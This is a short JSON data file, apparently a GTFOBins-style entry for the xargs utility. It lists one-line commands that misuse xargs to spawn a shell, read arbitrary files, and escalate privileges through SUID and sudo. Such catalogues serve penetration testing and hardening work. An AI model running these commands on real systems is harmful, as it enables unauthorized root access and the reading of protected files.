{
  "functions": {
    "shell": [
      {
        "description": "GNU version only.",
        "code": "xargs -a /dev/null sh"
      },
      {
        "code": "echo x | xargs -Iy sh -c 'exec sh 0<&1'"
      },
      {
        "description": "Read interactively from 'stdin'.",
        "code": "xargs -Ix sh -c 'exec sh 0<&1'\nx^D^D\n"
      }
    ],
    "file-read": [
      {
        "description": "This works as long as the file does not contain the NUL character, also a trailing '$'\\n'' is added. The actual '/bin/echo' command is executed. GNU version only.",
        "code": "xargs -a [file] -0\n"
      }
    ],
    "suid": [
      {
        "description": "GNU version only.",
        "code": "./xargs -a /dev/null sh -p"
      }
    ],
    "sudo": [
      {
        "description": "GNU version only.",
        "code": "sudo xargs -a /dev/null sh"
      }
    ]
  }
}